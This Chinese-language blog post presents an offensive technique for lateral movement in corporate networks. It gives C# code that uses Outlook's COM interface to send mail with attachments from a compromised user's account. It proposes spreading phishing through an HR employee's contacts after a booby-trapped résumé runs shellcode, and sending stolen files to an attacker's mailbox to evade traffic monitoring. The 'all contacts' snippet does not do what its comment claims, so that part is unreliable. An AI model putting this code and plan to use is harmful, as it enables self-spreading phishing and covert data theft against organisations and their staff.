企业内网渗透横向攻击的一种思路

以前老东家有个员工不小心点开了Emotet木马,不久后,全体员工收到了一封带有病毒附件的钓鱼邮件,发件人账号正式该员工的邮件账户。

最近在看Black Hat USA 2019大会 第一天的PPT,其中一篇主题《us-19-Joly-Hunting-For-Bugs-Catching-Dragons.pdf》

里面介绍了使用C#调用Outlook的COM库,并以当前登陆邮件账户,给指定邮箱发送邮件。

首先使用vs2013创建一个c# 控制台程序,然后添加引用outlook提供的com对象。

具体操作参考微软官方文档:https://support.microsoft.com/en-hk/help/310258/how-to-use-the-microsoft-outlook-object-library-to-retrieve-a-message

Program.cs代码:

using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using System.Reflection;
using Outlook = Microsoft.Office.Interop.Outlook;
using Microsoft.Office.Interop.Outlook;
namespace HBDemo
{
    class Program
    {
        static void Main(string[] args)
        {
            var objOutlook = new Outlook.Application();
            var accounts = objOutlook.Session.Accounts;
            MailItem mic = (MailItem)(objOutlook.CreateItem(OlItemType.olMailItem));
            mic.RTFBody = System.IO.File.ReadAllBytes(@"d:\test.rtf");
            mic.Subject = "Important Email";
            mic.Importance = OlImportance.olImportanceHigh;
            mic.Attachments.Add(@"d:\test2.docx", OlAttachmentType.olOLE);
            mic.MessageClass = "IPM.Document.Outlook.File.msg.15";
            mic.To = "[email protected]";
            mic.Send();
        }
    }
}

以上代码运行后,会给指定的[email protected]邮箱发送一封带附件的邮件。

使用以下代码,可以给当前outlook账户下所有联系人发送邮件

   // 给Outlook账户下所有联系人发送邮件
         foreach(Account ac in accounts)
        {
             mic.SendUsingAccount = ac;
        }

利用思路有两种:

1) 给HR发送一封简历附件,打开后自动执行shellcode,调用outlook的com对象,借用hr的邮箱账户给hr的所有联系人群发一封诱惑性标题的钓鱼邮件。

2) 回传数据,发送邮件时可以指定一个附件路径。 目标执行我们的程序后,可以把特定文件通过outlook邮件的方法传到黑客指定的接收邮箱,可以避免一些流量监控软件。

参考资料:
https://docs.microsoft.com/en-us/office/vba/api/outlook.mailitem.sendusingaccount
https://docs.microsoft.com/en-us/dotnet/api/microsoft.office.interop.outlook.mailitem

Blackhat USA 2019第一天PPT汇总:
链接:https://pan.baidu.com/s/1mX2Y0x5wQLjvBA9W0_4iTA
提取码:bcg5

你可能感兴趣的:(心情杂货铺)